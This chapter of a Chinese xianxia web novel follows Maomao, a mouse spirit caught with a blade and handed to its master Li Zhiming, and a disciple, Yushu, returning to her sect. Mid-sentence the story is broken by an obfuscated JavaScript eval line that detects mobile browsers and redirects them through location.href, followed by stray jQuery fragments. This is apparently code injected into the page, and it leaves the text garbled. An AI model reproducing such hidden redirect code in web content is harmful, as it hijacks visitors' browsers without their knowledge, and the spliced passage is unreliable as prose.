16. 恐吓

作品:《碧玉妆成

    逃回紫云轩,未有的惊心与动魄。


    那日,她同偷拿自己宝贝的弟子打了个难分难舍酣畅淋漓。外室师傅大呼小叫的,把她的神儿都叫了回来。


    同她一道的女孩呆愣愣地,没再动手;她可机灵了,藏好刀子爬起来就往屋外跑。那老头拦着她,左不是右不是,她干脆推开老头径直跑出去。


    路上迎面走来一人吓个着实,她也猛地惊着,心里打起鼓来,一刻不停,任她在背后“喂喂喂”地叫唤。


    她可不能停。


    眼见着头发糊起脸,汗水黏着破烂衣,实在引人注意。在被一石子绊倒后,她果断变回原形钻进了小树林里。


    小树飞快地闪过坡地,刹那间,她竟不知去往何处。


    奔到一个叫摇步阁的地方,驻足张望,外门两盏四方的大灯,门内是一面照壁,在往里就看不到什么了,也不见什么人。


    顺着天然的树篱往后行,来到一个隐蔽之处。其间有一棵参天的古树,足以赏识内中形貌。它分外喜爱这棵树,一钻进那高大厚重的树冠,仿佛是与外在融为一体。一到季节,树上还会结出数不清的果子,正合它口味。


    它扒住古木粗糙的纹路往上爬,手使不上劲一时滑了下去,发出刺耳的声音。


    ——真是没用哈。


    它爬起来背靠着老朋友,默默舔舐伤口,梳理毛发。不知哪来的蚂蚁小兄弟踩得她的伤口,痒痒的。


    不知好歹的东西,有一个它捏一个。


    可它实在太过疲乏,捏了三四个就不再计较。姑且瘫在老树身上,合起眼来养养心神。


    闲来无事的邓巧凤栽下一棵青桐拈步走来,看到的就是眼前这副形态。


    她果决地把它揪了起来。


    悬空中,紧着皮肉的无处着落的窒息感涌上来,迫使毛毛无意识地扑腾着。


    那人道:“原来没死。”


    “你才死了!”


    “还会讲话,你是妖?”她背靠着古木坐下,手微微松些,换个姿势,从胁下把住这小家伙。


    小花鼠咬她,她就恶狠狠地揪它的耳朵。


    毛毛歪着脑袋:“放手!还不放手我咬死你!”


    她笑了笑,“你咬啊,我把你的毛全扒光了烤来吃,一定很补。”


    “你……”这个狠心的女人,“修道之人岂可乱杀无辜!”


    “怎会滥杀无辜?”她把它上上下下都看了一遍,尽收眼底。


    毛毛见她有些眼熟,偷偷瞄了几眼。


    “你不是摇步阁的人!”它一抬头,就看到她下巴上那大红胎记。


    邓巧凤道:“是又怎样,不是又怎样?”


    “你是来偷人的吧!这么丑还来偷人。”


    摇步阁比寻常的建筑大,男女分布在不同的院落。她都不知道哪在哪,一般人就算知道也进不去呀。


    她现在很生气,倒吊起毛毛,“嘴贱,掌嘴,拿出确凿证据。——讲不出来,很好,跟我去见大师姐,休要做那吃人嗜血的勾当!”


    毛毛说它不吃人也不嗜血,邓巧凤充耳不闻,用两根头绳把它一层一层地捆起来。


    对此她很满意。牵着走是很有拉犯人的范的,可是考虑到它会咬断绳子她不得不把它提着走。倒可以让它走在前边,可这小东西走得太慢了,恨不能踢它一脚。


    小花鼠又在扑腾着短小的腿,嘴里还在喋喋不休,咒骂着什么。当它藏好的短刀从毛发间挣了出来现出一般大小,女人一口咬定那是凶器,毛毛的心虚正好给了她口舌上的胜利,它顿时生出一种虎落平阳的感觉,又自然地学会求饶。


    “女侠饶命!千错万错都是我的错……毛毛有眼无珠扫了奶奶的雅兴……不过一介小妖,哪有通天的本领?从来都是别人欺负我的……”它边哭边说。


    “哭也没用,你要是死的还好。这事再简单不过,我替你收尸,找块地把你埋了。埋在哪呢,对了,就把你埋在我的树下吧,我的树又高又美……”


    它真的有点难过了,哭得上气不接下气。它不想死,也不想被拉去见人。他们要是联起手来骂它打它怎么办?主公知道又不高兴,指不定怎么罚它。可怜的毛毛……这该死的女人还要把它埋起来,还在说!哪有把人埋在树底下的,它甚至没有墓碑,没有明器,挖个坑几抔土踩几脚丫子就会从这个世界上消失……它才不会!


    邓巧凤掏出汗巾来欲要堵住它的嘴,毛毛大喝一声,“我只说一句!”


    “我是掌门亲传弟子——”


    她给了它一记爆栗,说它不老实。


    它那小脑袋都要眼冒金星了,不知轻重的家伙。“我话还没说完呢!我是掌门亲传弟子——”


    又是一记爆栗,教训小孩呢?


    “二师兄知道吧!李致洺知道吧!他是我师父!”


    “是真是假把你带到师姐那里去便知一二。”


    “别!”毛毛不由脱口而出,“你不信我带你去紫云轩。”


    这话勾起了她的兴趣,“我怎么知道紫云轩?它又在哪?”


    “我可以带你去,只要你给我松绑。”


    她忽地挽了个花。“狡猾的妖怪你可骗不了我,现在给你两个选择:一、去见师姐;二、去紫云轩。先跟我说,你最丑,你是天下第一丑。把‘你’换过来,不然舌头割了下酒。”


    好啊!


    “我最丑,我是天下第一丑,行了吧!”


    “不行,声音太小,不够真诚。”


    “……”


    这之后,毛毛指引她来到一处高地,在人还没能否定自己之前开启了通往紫云轩的结界,二人顺势穿了过去。


    入眼的是一方蜿蜒着石灯石柱,满是琪花瑶草的仙居野境。这是类似息壤之土重创的清修净地,内里应有尽有,所谓麻雀虽小五脏俱全。


    这时,虚空里走出一个弟子,说是外人不可擅闯紫云轩。


    “哥哥,是我啊!”


    他说就算内中弟子也不能随意带人进出,何况灵宠。


    邓巧凤道她是本门弟子,那人不管。


    “我是来找二师兄当面对质的,师兄你是要他亲自来拿人呢还是我去见他?”


    年轻弟子哑口无言,迟疑了好一会儿。


    邓巧凤拍了拍它的脑袋,毛毛于是抻着脖子道:“快带我们去!”


    “这……恕难从命!”弟子抱拳。


    邓巧凤笑道:“那师兄我可带它走了,你去通知二师兄,我在雅竹居等他。”


    那人把她拦着,她道:“借光。”


    “笃笃笃……”片刻功夫,出来一个十三四岁的童子,年轻弟子说明了一番,童子领他们进去,年轻弟子站在门外有一会儿才回去。


    来的路上毛毛就想好了,要是主公不在它大可以对付这个女人,好好收拾这个女人,叫她知道自己的厉害。


    “那是什么?”


    邓巧凤看向廊外一棵古怪的树。它的树干约有两人合抱之粗,却又不高;树的枝干多、杂,枝繁叶茂的,开花却少。


    它心领神会,“那是我师傅的木头宝贝。”


    书桌上有一对笼子,一铁一木,李致洺摸索着若有所思。听见童子敲门问讯,他动作很快,从案桌前转瞬移步过来,于前厅同客人议事。


    邓巧凤仔细地介绍了一遍自己,又把短刀给二师兄看。“小徒起初道时弟子还不信,弟子在尔山从未见过此妖,头一次见它躲在摇步阁后,狼狈不堪,身上一并携有凶器,想必与人打斗来要带去见本门管事的师姐,可它一定要来紫云轩自证清白……”


    “我是冤枉的!”


    “住口!”二师兄叫她继续说。


    “小徒的事情弟子也不甚清楚,个中情由还需当事人亲自解答,弟子话已带到,权由师兄处置。”


    该说的都说完了,邓巧凤细细地给毛毛松绑放她下去,而后持礼告别,挑不出一点毛病。二师兄说有劳


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15251516|166406||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,又赖她吃了些茶水点心,送人到大门口托童子带她出了紫云轩。


    他回过头去招呼毛毛:“我且问你,如实招来!”


    玉梳和二娘回来的时候是有些近乡情怯的,碰到扫地的弟子都不敢高声问候。


    这会儿大家都在天上飞,倒是无暇顾及她们,去雅竹居的时候也没什么人。


    后来行至藏书阁重游故地,那付学士正站在外面跟人讲话。玉梳打算等他进去再说,哪知付学士见墙根有人走了过来。


    “何人在此?”


    他还没看清那弟子,她就低下头去恭恭敬敬地行了个礼。“弟子闲来无事在此歇脚,叨扰叨扰!”说完她转身就走了。


    再后来她问一个守门的弟子,在宿晓堂找到了三师姐。


    堂前一棵月桂,蓬蓬的怪好看,玉梳想大可不必再做修剪,但她不会跟修理的人说,她要做一个识趣的人。


    这一个月都还没到她们就回来,中间一定发生了什么事,她是要问问的。


    敲响室门,三师姐叫她进来。


    三师姐没有想象中的气势威严,居高临下,而是像对待一般客人般请她入座,问候她,问候二娘。可她一小小弟子只想简单汇报一下工作,让她坐下来陪这姐们喝茶聊天,浑身都不自在啊!


    “你就不好奇我为什么提前放你们回来?”


    玉梳掰着手指,怯怯道:“弟子不敢。”


    高师姐定定地看向她,“你一定也觉得奇怪吧,张二娘性情翻覆与你大闹藏书阁,这中间究竟有何恩怨?”


    “弟子不知。”


    高师姐笑道:“你不要怕我,我是有些师长做派但也不是什么迂腐之人。”


    “师姐所言极是。”


    “罢,”高师姐翘着腿,音色低沉,“叫你们回来的是二师兄。”


    “大师兄?”


    高师姐放下腿,拍着扶手道:“你到底有没有听我讲话?”


    玉梳瞠目结舌。“啊?二——师兄?”


    那日毛毛被邓巧凤带回紫云轩,李致洺很生气,生气过后是力不从心。


    他只是想让它好好交代,承认自己的错误,这很难不成?


    “我今天出去玩……玩,没人陪我玩,我好可怜……不该那么生气的,毛毛应该做一个心胸宽广、善解人意的好妖……”它确实是承认错误了,只是顾左右而言他,简直是在胡扯。


    他叫它面壁思过,想好了再说。


    它跑去墙角,坐在地板上,一吼才知道站起来。它竖着前爪,一双乌黑透亮的眼睛就定在那里,稍不注意就去舔身上的皮毛,十分滑稽。看它乖乖地在墙角舔伤口,小小的又很可怜,于是他又叫这毛孩子过来包扎伤口。


    为着此事,它好生安分了一段时间。李致洺找到它时,它正从一个地洞里探出头来,李致洺问它为什么躲起来。


    它说:“主公你不了解我啦,我的家就在洞里。”


    等他劝说其出来时,它又天天呆在院子里,哪也没去。


    有一次李说要带它出去玩,说再不出去就要长霉了。这小鬼头摇着脑袋说:“我现在是淑女,淑女是要做绣房的。”


    约摸过了十来天,紫云轩也没有什么坏消息传来。李致洺在外面倒是听到了些新闻,关于藏书阁的。他当时没放在心上,后来听付学士说:“现在的女弟子真是无法无天了。”


    他随口道:“怎么个无法无天?”


    付学士就把玉梳和二娘在藏书阁打斗的事说了一遍,他又道:“老朽就在这里,她们竟无一人有歉疚自省之心,相互推诿,有辱门风。”


    外门弟子私藏利刃是个不大不小的罪,一般人不会这样。路上碰到邓巧凤,她同李问了好。提到毛毛,他想起它那天带了刀,刀上有血腥味,它说是同山下老表黄鼠狼干架弄的。现在想来还是不像。


    直到李看见它又在往外面跑……


    玉梳道:“那它有没有说什么?”